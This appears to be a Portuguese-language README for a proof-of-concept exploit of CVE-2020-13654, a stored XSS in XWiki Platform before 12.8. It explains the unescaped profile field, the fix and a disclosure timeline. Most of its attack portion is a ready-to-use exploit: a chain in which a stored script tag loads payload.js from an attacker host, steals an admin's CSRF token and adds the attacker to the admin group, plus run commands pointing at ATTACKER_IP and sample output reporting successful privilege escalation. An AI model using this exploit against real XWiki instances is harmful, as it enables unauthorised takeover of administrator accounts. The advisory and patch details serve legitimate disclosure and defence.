
CVE-2020-13654 - XWiki Platform < 12.8 - XSS Armazenado → CSRF → Assunção de Conta
Descoberto e reportado por: Astaruf
Artigo completo: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform antes da versão 12.8 não aplica codificação HTML a campos controlados pelo usuário no editor de perfil. O campo afetado confirmado durante a pesquisa é "Empresa" (em Editar → Informações Pessoais), mas outros campos de perfil compartilham o mesmo caminho de código.
Quando uma página de perfil é renderizada, o valor do campo armazenado é inserido literalmente no HTML sem qualquer chamada a $escapetool.xml() ou escape equivalente. Um atacante com qualquer conta autenticada, incluindo uma recém-autorregistrada, pode armazenar HTML/JavaScript arbitrário que é executado persistentemente no navegador de todo usuário que visita o perfil, incluindo administradores.
Causa raiz no template Velocity afetado:
## Vulnerável (< 12.8): valor escrito diretamente no DOM
$xwiki.getUserProperty($user, "company")
## Corrigido (≥ 12.8): valor codificado em HTML antes da saída
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| Campo | Valor |
|---|---|
| Produto | XWiki Platform |
| Versões afetadas | < 12.8 |
| Corrigido em | 12.8 |
| Pontuação CVSSv3 | 7.5 (Alta) |
| CWE | CWE-116 — Codificação ou Escape Incorreto de Saída |
Este PoC demonstra uma cadeia de escalação de privilégios sem clique:
Conta de atacante com baixos privilégios
│
├─ armazena <script src="http://attacker/payload.js"> no campo Empresa
▼
Página de perfil XWiki (envenenada)
│
├─ administrador navega até a página (ex: via lista de usuários ou ticket de suporte)
▼
Payload executa na sessão do navegador do admin
│
├─ busca /bin/view/XWiki/XWikiAdminGroup → extrai token CSRF
├─ POSTa form_token + xpage=adduorg + name=attacker → adiciona atacante ao XWikiAdminGroup
│
▼
Atacante agora tem acesso total de admin
Nenhuma interação do administrador além de uma única visita à página é necessária.
poc.py é um script de exploração autocontido. Ele:
Empresa, preservando todos os outros valores de campo existentes/payload.js) e registra beacons recebidosQuando o admin visita a URL, a tag <script src="..."> armazenada carrega payload.js do servidor do atacante. O payload executa no contexto autenticado do navegador do admin, adiciona silenciosamente a conta do atacante ao XWikiAdminGroup, e retorna o resultado via beacon.
pip install -r requirements.txt
Com autorregistro (nenhuma conta pré-existente necessária):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
Com uma conta de baixo privilégio existente:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
| Argumento | Obrigatório | Descrição |
|---|---|---|
--target | ✅ | URL base do XWiki |
--catcher | ✅ | URL controlada pelo atacante (usada para servir payload.js e coletar beacons) |
--username | ✅ | Nome de usuário da conta do atacante |
--password | ✅ | Senha da conta do atacante |
--register | ✗ | Autorregistrar a conta antes de explorar |
--first-name | se --register | Primeiro nome para registro |
--last-name | se --register | Último nome para registro |
--email | se --register | Email para registro |
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
Atualize para XWiki Platform ≥ 12.8.
A correção aplica $escapetool.xml() a todos os campos de perfil controlados pelo usuário antes de serem renderizados, prevenindo a injeção de HTML/JavaScript bruto.
Se uma atualização imediata não for possível, restrinja o autorregistro e limite a visibilidade do perfil a usuários confiáveis através do gerenciamento de direitos de acesso do XWiki.
| Data | Evento |
|---|---|
| Maio 2020 | Vulnerabilidade descoberta |
| Maio 2020 | Reportada à equipe de segurança do XWiki |
| Julho 2020 | Corrigida no XWiki Platform 12.8 |
| Novembro 2020 | CVE-2020-13654 atribuído pelo MITRE |
| 30 de Dezembro de 2020 | Divulgação pública — nstsec.com |
Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada.
Não utilize contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar.
O autor não assume responsabilidade por uso indevido.